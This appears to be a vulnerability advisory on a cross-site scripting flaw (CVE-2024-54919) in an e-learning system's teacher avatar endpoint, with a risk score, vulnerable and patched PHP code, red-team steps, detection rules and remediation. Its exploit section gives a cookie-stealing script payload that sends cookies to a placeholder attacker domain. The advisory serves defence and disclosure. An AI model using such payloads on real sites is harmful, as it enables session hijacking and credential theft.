CVE-2024-54919

Executive Summary

CVE-2024-54919 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Kashipara E-learning Management System v1.0. The flaw resides in the /teacher_avatar.php endpoint, where the filename parameter is insufficiently sanitized, allowing remote attackers to inject and execute arbitrary JavaScript code. This vulnerability can lead to session hijacking, credential theft, and defacement within the application's context. No official patch has been released by the vendor, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the presence of a public proof-of-concept (PoC) increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the crafted URL)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant client-side attacks.

Deep Dive & Mechanics

The vulnerability exists in the teacher_avatar.php script, which handles avatar uploads for teachers. The filename parameter is directly reflected in the response without proper sanitization or output encoding. An attacker can craft a malicious filename containing JavaScript payloads (e.g., <script>alert('XSS')</script>). When the avatar is rendered in a teacher's profile page, the script executes in the context of the victim's browser.

Root Cause: Lack of input validation and output encoding on the filename parameter.

Attack Flow:

1. Attacker identifies a target instance of Kashipara E-learning Management System v1.0.
2. Attacker crafts a malicious filename with a JavaScript payload.
3. Attacker uploads the avatar via /teacher_avatar.php with the malicious filename.
4. When an administrator or other user views the teacher's profile, the script executes.
5. The attacker can steal session cookies, redirect users, or perform other client-side attacks.

Vulnerable vs. Patched Code

Vulnerable Code (teacher_avatar.php):

<?php
$filename = $_GET['filename'];
echo "<img src='uploads/$filename' alt='Avatar'>";
?>

Patched Code (Conceptual):

<?php
$filename = htmlspecialchars($_GET['filename'], ENT_QUOTES, 'UTF-8');
echo "<img src='uploads/" . $filename . "' alt='Avatar'>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Kashipara E-learning Management System v1.0
• Network access to the application

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/teacher_avatar.php?filename=
2. Craft a payload: http://target/teacher_avatar.php?filename=<script>alert(document.cookie)</script>
3. Send the malicious link to an authenticated user (e.g., via email or social engineering).
4. When the user clicks the link, the script executes in their browser.

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defender)

Detection:

• Monitor web server logs for requests to /teacher_avatar.php with suspicious filename parameters containing <script> or other HTML tags.
• Use WAF rules to block requests with script tags in query parameters.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly update the application or migrate to a supported alternative.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /teacher_avatar.php with filename containing <script> or onerror= attributes.
  • Outbound connections to attacker-controlled domains from the application server.

• File IOCs:

  • Avatar files with names containing JavaScript code (e.g., avatar<script>alert(1)</script>.jpg).

• Log IOCs:

  • Web server logs showing GET /teacher_avatar.php?filename=<script>...</script> entries.

Detection Engineering

YARA Rule

rule CVE_2024_54919_XSS_Detection {
    meta:
        description = "Detects malicious filename parameter in teacher_avatar.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54919"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_onerror = /onerror\s*=\s*["']?[^"']*["']?/i
    condition:
        $xss_payload or $xss_onerror
}

Sigma Rule

title: CVE-2024-54919 Stored XSS in teacher_avatar.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS via filename parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/teacher_avatar.php'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate filenames containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54919 Stored XSS in teacher_avatar.php"; flow:to_server,established; content:"/teacher_avatar.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation and output encoding to the filename parameter in teacher_avatar.php.
2. Implement a Web Application Firewall (WAF) rule to block malicious payloads.
3. Restrict access to the /teacher_avatar.php endpoint to authenticated users only.

Long-term Fixes:

• Upgrade to a patched version if available, or migrate to a different E-learning platform.
• Conduct a security audit of the entire application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workarounds:

• Disable the avatar upload functionality if not essential.
• Use a reverse proxy to sanitize input before it reaches the application.

Valters IT
Securing Digital Frontiers